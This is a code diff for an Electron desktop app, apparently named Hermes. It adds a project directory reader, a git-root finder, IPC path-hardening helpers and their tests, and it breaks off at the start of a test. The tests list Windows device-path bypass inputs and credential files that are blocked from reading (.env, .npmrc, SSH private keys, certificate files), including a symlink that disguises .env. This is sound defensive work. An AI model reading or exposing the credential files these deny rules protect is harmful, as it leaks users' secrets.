+test('isForeignBackendToken only flags a mismatched token from a dead child', () => {
+  const cases = [
+    [{ servedToken: 'other', spawnToken: 'mine', childAlive: false }, true],
+    // Live child + drift = our backend regenerated the token (env pin lost).
+    [{ servedToken: 'other', spawnToken: 'mine', childAlive: true }, false],
+    [{ servedToken: 'mine', spawnToken: 'mine', childAlive: false }, false],
+    [{ servedToken: 'mine', spawnToken: 'mine', childAlive: true }, false],
+    [{ servedToken: null, spawnToken: 'mine', childAlive: false }, false],
+    [{ servedToken: '', spawnToken: 'mine', childAlive: false }, false]
+  ]
+  for (const [input, expected] of cases) {
+    assert.equal(isForeignBackendToken(input), expected, JSON.stringify(input))
+  }
+})
+
+test('adoptServedDashboardToken adopts drift from a live child', async () => {
+  const token = await adoptServedDashboardToken('http://127.0.0.1:9120', 'spawn-token', {
+    childAlive: () => true,
+    fetchText: async () => '<script>window.__HERMES_SESSION_TOKEN__="served-token";</script>'
+  })
+
+  assert.equal(token, 'served-token')
+})
+
+test('adoptServedDashboardToken refuses a foreign token when our child is dead', async () => {
+  await assert.rejects(
+    () =>
+      adoptServedDashboardToken('http://127.0.0.1:9120', 'spawn-token', {
+        childAlive: () => false,
+        fetchText: async () => '<script>window.__HERMES_SESSION_TOKEN__="squatter-token";</script>',
+        label: 'Hermes backend for profile "work"'
+      }),
+    /profile "work".*process we did not spawn/
+  )
+})
+
+test('adoptServedDashboardToken falls back to the spawn token when the fetch fails', async () => {
+  const logs = []
+  const token = await adoptServedDashboardToken('http://127.0.0.1:9120', 'spawn-token', {
+    childAlive: () => true,
+    fetchText: async () => {
+      throw new Error('boom')
+    },
+    rememberLog: line => logs.push(line)
+  })
+
+  assert.equal(token, 'spawn-token')
+  assert.equal(logs.length, 1)
+  assert.match(logs[0], /could not read served dashboard token \(Hermes backend\): boom/)
+})

apps/desktop/electron/fs-read-dir.cjs

@@ -0,0 +1,109 @@
+'use strict'
+
+const fs = require('node:fs')
+const path = require('node:path')
+const { resolveDirectoryForIpc } = require('./hardening.cjs')
+
+const FS_READDIR_STAT_CONCURRENCY = 16
+
+// Always-hidden noise (covers non-git projects too; gitignore catches many of
+// these, but the project tree should keep the same hygiene without one).
+const FS_READDIR_HIDDEN = new Set([
+  '.git',
+  '.hg',
+  '.svn',
+  '.cache',
+  '.next',
+  '.turbo',
+  '.venv',
+  '__pycache__',
+  'build',
+  'dist',
+  'node_modules',
+  'target',
+  'venv'
+])
+
+function direntIsDirectory(dirent) {
+  return typeof dirent.isDirectory === 'function' && dirent.isDirectory()
+}
+
+function direntIsFile(dirent) {
+  return typeof dirent.isFile === 'function' && dirent.isFile()
+}
+
+function direntIsSymbolicLink(dirent) {
+  return typeof dirent.isSymbolicLink === 'function' && dirent.isSymbolicLink()
+}
+
+function shouldStatDirent(dirent) {
+  if (direntIsDirectory(dirent)) return false
+
+  return direntIsSymbolicLink(dirent) || !direntIsFile(dirent)
+}
+
+async function entryForDirent(dirent, resolved, fsImpl) {
+  const fullPath = path.join(resolved, dirent.name)
+  let isDirectory = direntIsDirectory(dirent)
+
+  if (!isDirectory && shouldStatDirent(dirent)) {
+    try {
+      isDirectory = (await fsImpl.promises.stat(fullPath)).isDirectory()
+    } catch {
+      isDirectory = false
+    }
+  }
+
+  return { name: dirent.name, path: fullPath, isDirectory }
+}
+
+async function mapWithStatConcurrency(items, mapper) {
+  const results = new Array(items.length)
+  let nextIndex = 0
+
+  async function runWorker() {
+    while (nextIndex < items.length) {
+      const index = nextIndex
+      nextIndex += 1
+      results[index] = await mapper(items[index])
+    }
+  }
+
+  const workerCount = Math.min(FS_READDIR_STAT_CONCURRENCY, items.length)
+  const workers = Array.from({ length: workerCount }, () => runWorker())
+  await Promise.all(workers)
+
+  return results
+}
+
+async function readDirForIpc(dirPath, options = {}) {
+  const fsImpl = options.fs || fs
+  let resolved
+
+  try {
+    ;({ resolvedPath: resolved } = await resolveDirectoryForIpc(dirPath, {
+      fs: fsImpl,
+      purpose: 'Directory read'
+    }))
+  } catch (error) {
+    return { entries: [], error: error?.code || 'read-error' }
+  }
+
+  try {
+    const dirents = await fsImpl.promises.readdir(resolved, { withFileTypes: true })
+    const visibleDirents = dirents.filter(dirent => !FS_READDIR_HIDDEN.has(dirent.name))
+    const entries = await mapWithStatConcurrency(visibleDirents, dirent =>
+      entryForDirent(dirent, resolved, fsImpl)
+    )
+
+    entries.sort((a, b) => Number(b.isDirectory) - Number(a.isDirectory) || a.name.localeCompare(b.name))
+
+    return { entries }
+  } catch (error) {
+    return { entries: [], error: error?.code || 'read-error' }
+  }
+}
+
+module.exports = {
+  readDirForIpc
+}

apps/desktop/electron/fs-read-dir.test.cjs

@@ -0,0 +1,364 @@
+'use strict'
+
+const assert = require('node:assert/strict')
+const fs = require('node:fs')
+const os = require('node:os')
+const path = require('node:path')
+const test = require('node:test')
+const { pathToFileURL } = require('node:url')
+
+const { readDirForIpc } = require('./fs-read-dir.cjs')
+
+function mkTmpDir() {
+  return fs.mkdtempSync(path.join(os.tmpdir(), 'hermes-fs-read-dir-'))
+}
+
+function fakeDirent(name, flags = {}) {
+  return {
+    name,
+    isDirectory: () => Boolean(flags.directory),
+    isFile: () => Boolean(flags.file),
+    isSymbolicLink: () => Boolean(flags.symlink)
+  }
+}
+
+test('readDirForIpc hides noisy directories and files from the project tree', async () => {
+  const root = mkTmpDir()
+
+  try {
+    fs.mkdirSync(path.join(root, 'node_modules'))
+    fs.mkdirSync(path.join(root, 'src'))
+    fs.writeFileSync(path.join(root, 'target'), 'hidden file')
+    fs.writeFileSync(path.join(root, 'README.md'), 'visible file')
+
+    const result = await readDirForIpc(root)
+
+    assert.equal(result.error, undefined)
+    assert.deepEqual(
+      result.entries.map(entry => entry.name),
+      ['src', 'README.md']
+    )
+  } finally {
+    fs.rmSync(root, { recursive: true, force: true })
+  }
+})
+
+test('readDirForIpc filters a hidden basename whether it is a file or directory', async () => {
+  const dirRoot = mkTmpDir()
+  const fileRoot = mkTmpDir()
+
+  try {
+    fs.mkdirSync(path.join(dirRoot, 'node_modules'))
+    fs.writeFileSync(path.join(dirRoot, 'visible.txt'), 'visible')
+    fs.writeFileSync(path.join(fileRoot, 'node_modules'), 'hidden file')
+    fs.writeFileSync(path.join(fileRoot, 'visible.txt'), 'visible')
+
+    assert.deepEqual(
+      (await readDirForIpc(dirRoot)).entries.map(entry => entry.name),
+      ['visible.txt']
+    )
+    assert.deepEqual(
+      (await readDirForIpc(fileRoot)).entries.map(entry => entry.name),
+      ['visible.txt']
+    )
+  } finally {
+    fs.rmSync(dirRoot, { recursive: true, force: true })
+    fs.rmSync(fileRoot, { recursive: true, force: true })
+  }
+})
+
+test('readDirForIpc returns directories before files and sorts by name within groups', async () => {
+  const root = mkTmpDir()
+
+  try {
+    fs.writeFileSync(path.join(root, 'z.txt'), 'z')
+    fs.mkdirSync(path.join(root, 'src'))
+    fs.writeFileSync(path.join(root, 'a.txt'), 'a')
+    fs.mkdirSync(path.join(root, 'lib'))
+
+    const result = await readDirForIpc(root)
+
+    assert.equal(result.error, undefined)
+    assert.deepEqual(
+      result.entries.map(entry => entry.name),
+      ['lib', 'src', 'a.txt', 'z.txt']
+    )
+  } finally {
+    fs.rmSync(root, { recursive: true, force: true })
+  }
+})
+
+test('readDirForIpc accepts file URLs for directories', async () => {
+  const root = mkTmpDir()
+
+  try {
+    fs.mkdirSync(path.join(root, 'src'))
+    fs.writeFileSync(path.join(root, 'README.md'), 'visible file')
+
+    const result = await readDirForIpc(pathToFileURL(root).toString())
+
+    assert.equal(result.error, undefined)
+    assert.deepEqual(
+      result.entries.map(entry => entry.name),
+      ['src', 'README.md']
+    )
+  } finally {
+    fs.rmSync(root, { recursive: true, force: true })
+  }
+})
+
+test('readDirForIpc returns invalid-path for blank or non-string input', async () => {
+  let readdirCalls = 0
+  const fsImpl = {
+    promises: {
+      readdir: async () => {
+        readdirCalls += 1
+        return []
+      }
+    }
+  }
+
+  assert.deepEqual(await readDirForIpc('', { fs: fsImpl }), { entries: [], error: 'invalid-path' })
+  assert.deepEqual(await readDirForIpc('   ', { fs: fsImpl }), { entries: [], error: 'invalid-path' })
+  assert.deepEqual(await readDirForIpc(null, { fs: fsImpl }), { entries: [], error: 'invalid-path' })
+  assert.equal(readdirCalls, 0)
+})
+
+test('readDirForIpc rejects Windows device paths before readdir', async () => {
+  let readdirCalls = 0
+  const fsImpl = {
+    promises: {
+      readdir: async () => {
+        readdirCalls += 1
+        return []
+      }
+    }
+  }
+
+  assert.deepEqual(await readDirForIpc('\\\\?\\C:\\secret', { fs: fsImpl }), {
+    entries: [],
+    error: 'device-path'
+  })
+  assert.equal(readdirCalls, 0)
+})
+
+test('readDirForIpc returns filesystem error codes instead of throwing', async () => {
+  const root = mkTmpDir()
+
+  try {
+    const result = await readDirForIpc(path.join(root, 'missing'))
+
+    assert.deepEqual(result, { entries: [], error: 'ENOENT' })
+  } finally {
+    fs.rmSync(root, { recursive: true, force: true })
+  }
+})
+
+test('readDirForIpc marks a symlink to a directory as a directory', async t => {
+  const root = mkTmpDir()
+
+  try {
+    fs.mkdirSync(path.join(root, 'actual-dir'))
+
+    try {
+      fs.symlinkSync(path.join(root, 'actual-dir'), path.join(root, 'linked-dir'), 'dir')
+    } catch (error) {
+      if (error?.code === 'EPERM' || error?.code === 'EACCES') {
+        t.skip(`symlink creation is not permitted on this platform (${error.code})`)
+
+        return
+      }
+
+      throw error
+    }
+
+    const result = await readDirForIpc(root)
+    const linked = result.entries.find(entry => entry.name === 'linked-dir')
+
+    assert.equal(result.error, undefined)
+    assert.equal(linked?.isDirectory, true)
+  } finally {
+    fs.rmSync(root, { recursive: true, force: true })
+  }
+})
+
+test('readDirForIpc marks a Windows junction to a directory as a directory', async t => {
+  if (process.platform !== 'win32') {
+    t.skip('junctions are a Windows-specific symlink type')
+
+    return
+  }
+
+  const root = mkTmpDir()
+
+  try {
+    fs.mkdirSync(path.join(root, 'actual-dir'))
+
+    try {
+      fs.symlinkSync(path.join(root, 'actual-dir'), path.join(root, 'junction-dir'), 'junction')
+    } catch (error) {
+      if (error?.code === 'EPERM' || error?.code === 'EACCES') {
+        t.skip(`junction creation is not permitted on this platform (${error.code})`)
+
+        return
+      }
+
+      throw error
+    }
+
+    const result = await readDirForIpc(root)
+    const junction = result.entries.find(entry => entry.name === 'junction-dir')
+
+    assert.equal(result.error, undefined)
+    assert.equal(junction?.isDirectory, true)
+  } finally {
+    fs.rmSync(root, { recursive: true, force: true })
+  }
+})
+
+test('readDirForIpc allows expanding symlink or junction directories outside the project root', async t => {
+  const root = mkTmpDir()
+  const outside = mkTmpDir()
+
+  try {
+    fs.writeFileSync(path.join(outside, 'outside.txt'), 'ok')
+
+    const linkPath = path.join(root, 'outside-link')
+    try {
+      fs.symlinkSync(outside, linkPath, process.platform === 'win32' ? 'junction' : 'dir')
+    } catch (error) {
+      if (error?.code === 'EPERM' || error?.code === 'EACCES') {
+        t.skip(`directory symlink creation is not permitted on this platform (${error.code})`)
+
+        return
+      }
+
+      throw error
+    }
+
+    const result = await readDirForIpc(linkPath)
+
+    assert.equal(result.error, undefined)
+    assert.deepEqual(result.entries, [
+      { name: 'outside.txt', path: path.join(linkPath, 'outside.txt'), isDirectory: false }
+    ])
+  } finally {
+    fs.rmSync(root, { recursive: true, force: true })
+    fs.rmSync(outside, { recursive: true, force: true })
+  }
+})
+
+test('readDirForIpc stats symbolic links and unknown entries without dropping the whole listing', async () => {
+  const input = path.join('virtual-root')
+  const resolved = path.resolve(input)
+  const statCalls = []
+  const fsImpl = {
+    promises: {
+      readdir: async () => [
+        fakeDirent('unknown-entry'),
+        fakeDirent('linked-dir', { symlink: true }),
+        fakeDirent('broken-link', { symlink: true }),
+        fakeDirent('plain.txt', { file: true })
+      ],
+      stat: async fullPath => {
+        if (fullPath === resolved) {
+          return { isDirectory: () => true }
+        }
+
+        statCalls.push(fullPath)
+        if (fullPath.endsWith(`${path.sep}linked-dir`)) {
+          return { isDirectory: () => true }
+        }
+        throw Object.assign(new Error('gone'), { code: 'ENOENT' })
+      }
+    }
+  }
+
+  const result = await readDirForIpc(input, { fs: fsImpl })
+
+  assert.equal(result.error, undefined)
+  assert.deepEqual(
+    statCalls.sort(),
+    [path.join(resolved, 'broken-link'), path.join(resolved, 'linked-dir'), path.join(resolved, 'unknown-entry')].sort()
+  )
+  assert.deepEqual(result.entries, [
+    { name: 'linked-dir', path: path.join(resolved, 'linked-dir'), isDirectory: true },
+    { name: 'broken-link', path: path.join(resolved, 'broken-link'), isDirectory: false },
+    { name: 'plain.txt', path: path.join(resolved, 'plain.txt'), isDirectory: false },
+    { name: 'unknown-entry', path: path.join(resolved, 'unknown-entry'), isDirectory: false }
+  ])
+})
+
+test('readDirForIpc bounds concurrent stats while preserving complete sorted output', async () => {
+  const input = path.join('virtual-root')
+  const resolved = path.resolve(input)
+  const names = Array.from({ length: 105 }, (_, index) => `entry-${String(104 - index).padStart(3, '0')}`)
+  const failedName = 'entry-100'
+  const directoryNames = new Set(names.filter((_, index) => index % 10 === 4))
+  const successfulDirectoryNames = new Set([...directoryNames].filter(name => name !== failedName))
+  const statCalls = []
+  let active = 0
+  let peak = 0
+  let releaseStats
+  let markFirstStatStarted
+  const statsReleased = new Promise(resolve => {
+    releaseStats = resolve
+  })
+  const firstStatStarted = new Promise(resolve => {
+    markFirstStatStarted = resolve
+  })
+  const fsImpl = {
+    promises: {
+      readdir: async () => [
+        fakeDirent('node_modules', { symlink: true }),
+        ...names.map((name, index) => fakeDirent(name, { symlink: index % 2 === 0 }))
+      ],
+      stat: async fullPath => {
+        if (fullPath === resolved) {
+          return { isDirectory: () => true }
+        }
+
+        statCalls.push(fullPath)
+        active += 1
+        peak = Math.max(peak, active)
+        markFirstStatStarted()
+        await statsReleased
+        active -= 1
+
+        const name = path.basename(fullPath)
+        if (name === failedName) {
+          throw Object.assign(new Error('gone'), { code: 'ENOENT' })
+        }
+
+        return { isDirectory: () => successfulDirectoryNames.has(name) }
+      }
+    }
+  }
+
+  const resultPromise = readDirForIpc(input, { fs: fsImpl })
+  await firstStatStarted
+  await new Promise(resolve => setImmediate(resolve))
+  releaseStats()
+  const result = await resultPromise
+
+  const expectedNames = [
+    ...names.filter(name => successfulDirectoryNames.has(name)).sort(),
+    ...names.filter(name => !successfulDirectoryNames.has(name)).sort()
+  ]
+
+  assert.equal(result.error, undefined)
+  assert.equal(result.entries.length, names.length)
+  assert.equal(statCalls.length, names.length)
+  assert.equal(statCalls.some(fullPath => fullPath.endsWith(`${path.sep}node_modules`)), false)
+  assert.ok(peak > 1, `expected concurrent stats, observed peak ${peak}`)
+  assert.ok(peak <= 16, `expected at most 16 concurrent stats, observed peak ${peak}`)
+  assert.deepEqual(
+    result.entries.map(entry => entry.name),
+    expectedNames
+  )
+  assert.equal(result.entries.find(entry => entry.name === failedName)?.isDirectory, false)
+  assert.equal(
+    result.entries.filter(entry => entry.isDirectory).length,
+    successfulDirectoryNames.size
+  )
+})

apps/desktop/electron/git-root.cjs

@@ -0,0 +1,54 @@
+'use strict'
+
+const fs = require('node:fs')
+const path = require('node:path')
+const { resolveRequestedPathForIpc } = require('./hardening.cjs')
+
+function findGitRoot(start, fsImpl = fs) {
+  let dir = start
+
+  for (let i = 0; i < 50; i += 1) {
+    try {
+      if (fsImpl.existsSync(path.join(dir, '.git'))) {
+        return dir
+      }
+    } catch {
+      return null
+    }
+
+    const parent = path.dirname(dir)
+
+    if (parent === dir) {
+      return null
+    }
+
+    dir = parent
+  }
+
+  return null
+}
+
+async function gitRootForIpc(startPath, options = {}) {
+  const fsImpl = options.fs || fs
+  let resolved
+
+  try {
+    resolved = resolveRequestedPathForIpc(startPath, { purpose: 'Git root' })
+  } catch {
+    return null
+  }
+
+  try {
+    const stat = await fsImpl.promises.stat(resolved)
+    const start = stat.isDirectory() ? resolved : path.dirname(resolved)
+
+    return findGitRoot(start, fsImpl)
+  } catch {
+    return findGitRoot(resolved, fsImpl)
+  }
+}
+
+module.exports = {
+  findGitRoot,
+  gitRootForIpc
+}

apps/desktop/electron/git-root.test.cjs

@@ -0,0 +1,40 @@
+'use strict'
+
+const assert = require('node:assert/strict')
+const fs = require('node:fs')
+const os = require('node:os')
+const path = require('node:path')
+const test = require('node:test')
+const { pathToFileURL } = require('node:url')
+
+const { gitRootForIpc } = require('./git-root.cjs')
+
+function mkTmpDir() {
+  return fs.mkdtempSync(path.join(os.tmpdir(), 'hermes-git-root-'))
+}
+
+test('gitRootForIpc returns null for invalid and device paths', async () => {
+  assert.equal(await gitRootForIpc(''), null)
+  assert.equal(await gitRootForIpc('   '), null)
+  assert.equal(await gitRootForIpc(null), null)
+  assert.equal(await gitRootForIpc('\\\\?\\C:\\secret'), null)
+  assert.equal(await gitRootForIpc('file:///%E0%A4%A'), null)
+})
+
+test('gitRootForIpc resolves directories files missing descendants and file URLs', async t => {
+  const root = mkTmpDir()
+  t.after(() => fs.rmSync(root, { recursive: true, force: true }))
+
+  const gitDir = path.join(root, '.git')
+  const srcDir = path.join(root, 'src')
+  const filePath = path.join(srcDir, 'index.ts')
+  fs.mkdirSync(gitDir)
+  fs.mkdirSync(srcDir)
+  fs.writeFileSync(filePath, 'export {}\n', 'utf8')
+
+  assert.equal(await gitRootForIpc(root), root)
+  assert.equal(await gitRootForIpc(srcDir), root)
+  assert.equal(await gitRootForIpc(filePath), root)
+  assert.equal(await gitRootForIpc(pathToFileURL(filePath).toString()), root)
+  assert.equal(await gitRootForIpc(path.join(srcDir, 'missing.ts')), root)
+})

apps/desktop/electron/hardening.cjs

@@ -106,71 +106,155 @@ function sensitiveFileBlockReason(filePath) {
   return null
 }
 
-function resolveRequestedFilePath(filePath, baseDir = process.cwd(), purpose = 'File read') {
-  const raw = String(filePath || '').trim()
+function ipcPathError(code, message) {
+  const error = new Error(message)
+  error.code = code
+  return error
+}
+
+function rejectUnsafePathSyntax(filePath, purpose = 'File read') {
+  if (typeof filePath !== 'string') {
+    throw ipcPathError('invalid-path', `${purpose} failed: file path is required.`)
+  }
+
+  const raw = filePath.trim()
 
   if (!raw) {
-    throw new Error(`${purpose} failed: file path is required.`)
+    throw ipcPathError('invalid-path', `${purpose} failed: file path is required.`)
   }
 
   if (raw.includes('\0')) {
-    throw new Error(`${purpose} failed: file path is invalid.`)
+    throw ipcPathError('invalid-path', `${purpose} failed: file path is invalid.`)
   }
 
+  const normalized = raw.replace(/\\/g, '/').toLowerCase()
+  if (
+    normalized.startsWith('//?/') ||
+    normalized.startsWith('//./') ||
+    normalized.startsWith('globalroot/device/') ||
+    normalized.includes('/globalroot/device/')
+  ) {
+    throw ipcPathError('device-path', `${purpose} blocked: Windows device paths are not allowed.`)
+  }
+
+  return raw
+}
+
+function resolveRequestedPathForIpc(filePath, options = {}) {
+  const purpose = String(options.purpose || 'File read')
+  const raw = rejectUnsafePathSyntax(filePath, purpose)
+
   if (/^file:/i.test(raw)) {
+    let resolvedPath
     try {
-      return fileURLToPath(raw)
+      const parsed = new URL(raw)
+      if (parsed.protocol !== 'file:') {
+        throw new Error('not a file URL')
+      }
+      resolvedPath = fileURLToPath(parsed)
     } catch {
-      throw new Error(`${purpose} failed: file URL is invalid.`)
+      throw ipcPathError('invalid-path', `${purpose} failed: file URL is invalid.`)
     }
+
+    rejectUnsafePathSyntax(resolvedPath, purpose)
+    return path.resolve(resolvedPath)
   }
 
-  const resolvedBase = path.resolve(String(baseDir || process.cwd()))
-  return path.resolve(resolvedBase, raw)
+  const baseInput = typeof options.baseDir === 'string' && options.baseDir.trim() ? options.baseDir : process.cwd()
+  const safeBaseInput = rejectUnsafePathSyntax(baseInput, purpose)
+  const resolvedBase = path.resolve(safeBaseInput)
+  rejectUnsafePathSyntax(resolvedBase, purpose)
+  const resolvedPath = path.resolve(resolvedBase, raw)
+  rejectUnsafePathSyntax(resolvedPath, purpose)
+
+  return resolvedPath
+}
+
+async function statForIpc(fsImpl, resolvedPath, purpose, typeLabel) {
+  try {
+    return await fsImpl.promises.stat(resolvedPath)
+  } catch (error) {
+    const code = error && typeof error === 'object' ? error.code : ''
+    if (code === 'ENOENT' || code === 'ENOTDIR') {
+      throw ipcPathError(code || 'ENOENT', `${purpose} failed: ${typeLabel} does not exist.`)
+    }
+    throw ipcPathError(code || 'read-error', `${purpose} failed: ${error instanceof Error ? error.message : String(error)}`)
+  }
+}
+
+async function realpathForIpc(fsImpl, resolvedPath, purpose) {
+  if (typeof fsImpl.promises.realpath !== 'function') {
+    return resolvedPath
+  }
+
+  try {
+    const realPath = await fsImpl.promises.realpath(resolvedPath)
+    rejectUnsafePathSyntax(realPath, purpose)
+    return realPath
+  } catch (error) {
+    const code = error && typeof error === 'object' ? error.code : ''
+    throw ipcPathError(code || 'read-error', `${purpose} failed: ${error instanceof Error ? error.message : String(error)}`)
+  }
+}
+
+function rejectSensitiveFilePath(filePath, purpose) {
+  const blockReason = sensitiveFileBlockReason(filePath)
+  if (blockReason) {
+    throw ipcPathError('sensitive-file', `${purpose} blocked for sensitive file: ${blockReason}`)
+  }
+}
+
+async function resolveDirectoryForIpc(dirPath, options = {}) {
+  const purpose = String(options.purpose || 'Directory read')
+  const fsImpl = options.fs || fs
+  const resolvedPath = resolveRequestedPathForIpc(dirPath, { baseDir: options.baseDir, purpose })
+  const stat = await statForIpc(fsImpl, resolvedPath, purpose, 'directory')
+
+  if (!stat.isDirectory()) {
+    throw ipcPathError('ENOTDIR', `${purpose} failed: path is not a directory.`)
+  }
+
+  const realPath = await realpathForIpc(fsImpl, resolvedPath, purpose)
+
+  return { realPath, resolvedPath, stat }
 }
 
 async function resolveReadableFileForIpc(filePath, options = {}) {
   const purpose = String(options.purpose || 'File read')
-  const resolvedPath = resolveRequestedFilePath(filePath, options.baseDir, purpose)
+  const fsImpl = options.fs || fs
+  const resolvedPath = resolveRequestedPathForIpc(filePath, { baseDir: options.baseDir, purpose })
 
   if (options.blockSensitive !== false) {
-    const blockReason = sensitiveFileBlockReason(resolvedPath)
-    if (blockReason) {
-      throw new Error(`${purpose} blocked for sensitive file: ${blockReason}`)
-    }
+    rejectSensitiveFilePath(resolvedPath, purpose)
   }
 
-  let stat
-  try {
-    stat = await fs.promises.stat(resolvedPath)
-  } catch (error) {
-    const code = error && typeof error === 'object' ? error.code : ''
-    if (code === 'ENOENT' || code === 'ENOTDIR') {
-      throw new Error(`${purpose} failed: file does not exist.`)
-    }
-    throw new Error(`${purpose} failed: ${error instanceof Error ? error.message : String(error)}`)
-  }
+  const stat = await statForIpc(fsImpl, resolvedPath, purpose, 'file')
 
   if (stat.isDirectory()) {
-    throw new Error(`${purpose} failed: path points to a directory.`)
+    throw ipcPathError('EISDIR', `${purpose} failed: path points to a directory.`)
   }
 
   if (!stat.isFile()) {
-    throw new Error(`${purpose} failed: only regular files can be read.`)
+    throw ipcPathError('EINVAL', `${purpose} failed: only regular files can be read.`)
+  }
+
+  const realPath = await realpathForIpc(fsImpl, resolvedPath, purpose)
+  if (options.blockSensitive !== false) {
+    rejectSensitiveFilePath(realPath, purpose)
   }
 
   const maxBytes = Number.isFinite(options.maxBytes) && Number(options.maxBytes) > 0 ? Number(options.maxBytes) : null
   if (maxBytes && stat.size > maxBytes) {
-    throw new Error(`${purpose} failed: file is too large (${stat.size} bytes; limit ${maxBytes} bytes).`)
+    throw ipcPathError('EFBIG', `${purpose} failed: file is too large (${stat.size} bytes; limit ${maxBytes} bytes).`)
   }
 
   try {
-    await fs.promises.access(resolvedPath, fs.constants.R_OK)
+    await fsImpl.promises.access(resolvedPath, fs.constants.R_OK)
   } catch {
-    throw new Error(`${purpose} failed: file is not readable.`)
+    throw ipcPathError('EACCES', `${purpose} failed: file is not readable.`)
   }
 
-  return { resolvedPath, stat }
+  return { realPath, resolvedPath, stat }
 }
 
 module.exports = {
@@ -178,7 +262,10 @@ module.exports = {
   DEFAULT_FETCH_TIMEOUT_MS,
   TEXT_PREVIEW_SOURCE_MAX_BYTES,
   encryptDesktopSecret,
+  rejectUnsafePathSyntax,
+  resolveDirectoryForIpc,
   resolveReadableFileForIpc,
+  resolveRequestedPathForIpc,
   resolveTimeoutMs,
   sensitiveFileBlockReason
 }

apps/desktop/electron/hardening.test.cjs

@@ -8,11 +8,20 @@ const { pathToFileURL } = require('node:url')
 const {
   DEFAULT_FETCH_TIMEOUT_MS,
   encryptDesktopSecret,
+  resolveDirectoryForIpc,
   resolveReadableFileForIpc,
+  resolveRequestedPathForIpc,
   resolveTimeoutMs,
   sensitiveFileBlockReason
 } = require('./hardening.cjs')
 
+async function rejectsWithCode(promise, code) {
+  await assert.rejects(promise, error => {
+    assert.equal(error?.code, code)
+    return true
+  })
+}
+
 test('resolveTimeoutMs falls back to defaults and accepts overrides', () => {
   assert.equal(resolveTimeoutMs(undefined), DEFAULT_FETCH_TIMEOUT_MS)
   assert.equal(resolveTimeoutMs(0), DEFAULT_FETCH_TIMEOUT_MS)
@@ -51,6 +60,52 @@ test('sensitiveFileBlockReason blocks obvious secret file patterns', () => {
   assert.match(String(sensitiveFileBlockReason('/tmp/server-cert.pem')), /\.pem/)
 })
 
+test('path helpers reject blank non-string NUL and Windows device syntax', async () => {
+  await rejectsWithCode(resolveReadableFileForIpc('', { purpose: 'File preview' }), 'invalid-path')
+  await rejectsWithCode(resolveReadableFileForIpc('   ', { purpose: 'File preview' }), 'invalid-path')
+  await rejectsWithCode(resolveReadableFileForIpc(null, { purpose: 'File preview' }), 'invalid-path')
+  await rejectsWithCode(resolveReadableFileForIpc(`safe${String.fromCharCode(0)}name.txt`), 'invalid-path')
+
+  const devicePaths = [
+    '\\\\?\\C:\\secret.txt',
+    '\\\\.\\C:\\secret.txt',
+    '\\\\?\\UNC\\server\\share\\secret.txt',
+    'GLOBALROOT/Device/HarddiskVolumeShadowCopy1/secret.txt'
+  ]
+
+  for (const devicePath of devicePaths) {
+    assert.throws(
+      () => resolveRequestedPathForIpc(devicePath, { purpose: 'File preview' }),
+      error => {
+        assert.equal(error?.code, 'device-path')
+        return true
+      }
+    )
+    await rejectsWithCode(resolveReadableFileForIpc(devicePath, { purpose: 'File preview' }), 'device-path')
+  }
+
+  assert.throws(
+    () => resolveRequestedPathForIpc('file:///%E0%A4%A', { purpose: 'File preview' }),
+    error => {
+      assert.equal(error?.code, 'invalid-path')
+      return true
+    }
+  )
+  await rejectsWithCode(resolveReadableFileForIpc('file:///%E0%A4%A', { purpose: 'File preview' }), 'invalid-path')
+})
+
+test('resolveRequestedPathForIpc resolves relative paths from the trimmed base directory', () => {
+  const baseDir = path.join(os.tmpdir(), 'hermes-desktop-base')
+
+  assert.equal(
+    resolveRequestedPathForIpc('notes.txt', {
+      baseDir: `  ${baseDir}  `,
+      purpose: 'File preview'
+    }),
+    path.resolve(baseDir, 'notes.txt')
+  )
+})
+
 test('resolveReadableFileForIpc validates existence type size and sensitivity', async t => {
   const tempDir = fs.mkdtempSync(path.join(os.tmpdir(), 'hermes-desktop-hardening-'))
   t.after(() => fs.rmSync(tempDir, { recursive: true, force: true }))
@@ -71,6 +126,13 @@ test('resolveReadableFileForIpc validates existence type size and sensitivity',
   })
   assert.equal(fromFileUrl.resolvedPath, textPath)
 
+  const spacedPath = path.join(tempDir, 'notes with spaces.txt')
+  fs.writeFileSync(spacedPath, 'space ok', 'utf8')
+  const fromSpacedFileUrl = await resolveReadableFileForIpc(pathToFileURL(spacedPath).toString(), {
+    purpose: 'File preview'
+  })
+  assert.equal(fromSpacedFileUrl.resolvedPath, spacedPath)
+
   await assert.rejects(
     resolveReadableFileForIpc('missing.txt', {
       baseDir: tempDir,
@@ -114,3 +176,91 @@ test('resolveReadableFileForIpc validates existence type size and sensitivity',
   })
   assert.equal(envTemplate.resolvedPath, envTemplatePath)
 })
+
+test('resolveReadableFileForIpc blocks common sensitive files', async t => {
+  const tempDir = fs.mkdtempSync(path.join(os.tmpdir(), 'hermes-desktop-sensitive-'))
+  t.after(() => fs.rmSync(tempDir, { recursive: true, force: true }))
+
+  const sshDir = path.join(tempDir, '.ssh')
+  fs.mkdirSync(sshDir)
+
+  const blockedFiles = [
+    path.join(tempDir, '.env'),
+    path.join(tempDir, '.npmrc'),
+    path.join(sshDir, 'id_ed25519'),
+    path.join(tempDir, 'cert.pem'),
+    path.join(tempDir, 'cert.p12'),
+    path.join(tempDir, 'cert.pfx')
+  ]
+
+  for (const filePath of blockedFiles) {
+    fs.writeFileSync(filePath, 'secret', 'utf8')
+    await rejectsWithCode(resolveReadableFileForIpc(filePath, { purpose: 'File preview' }), 'sensitive-file')
+  }
+
+  const allowed = path.join(tempDir, '.env.example')
+  fs.writeFileSync(allowed, 'EXAMPLE_TOKEN=value', 'utf8')
+  assert.equal((await resolveReadableFileForIpc(allowed, { purpose: 'File preview' })).resolvedPath, allowed)
+})
+
+test('resolveReadableFileForIpc blocks symlinks whose realpath is sensitive', async t => {
+  const tempDir = fs.mkdtempSync(path.join(os.tmpdir(), 'hermes-desktop-realpath-'))
+  t.after(() => fs.rmSync(tempDir, { recursive: true, force: true }))
+
+  const envPath = path.join(tempDir, '.env')
+  const linkPath = path.join(tempDir, 'safe-name.txt')
+  fs.writeFileSync(envPath, 'SECRET_TOKEN=123', 'utf8')
+
+  try {
+    fs.symlinkSync(envPath, linkPath, 'file')
+  } catch (error) {
+    if (error?.code === 'EPERM' || error?.code === 'EACCES') {
+      t.skip(`symlink creation is not permitted on this platform (${error.code})`)
+      return
+    }
+    throw error
+  }
+
+  await rejectsWithCode(resolveReadableFileForIpc(linkPath, { purpose: 'File preview' }), 'sensitive-file')
+})
+
+test('resolveDirectoryForIpc accepts directories and rejects invalid directory targets', async t => {
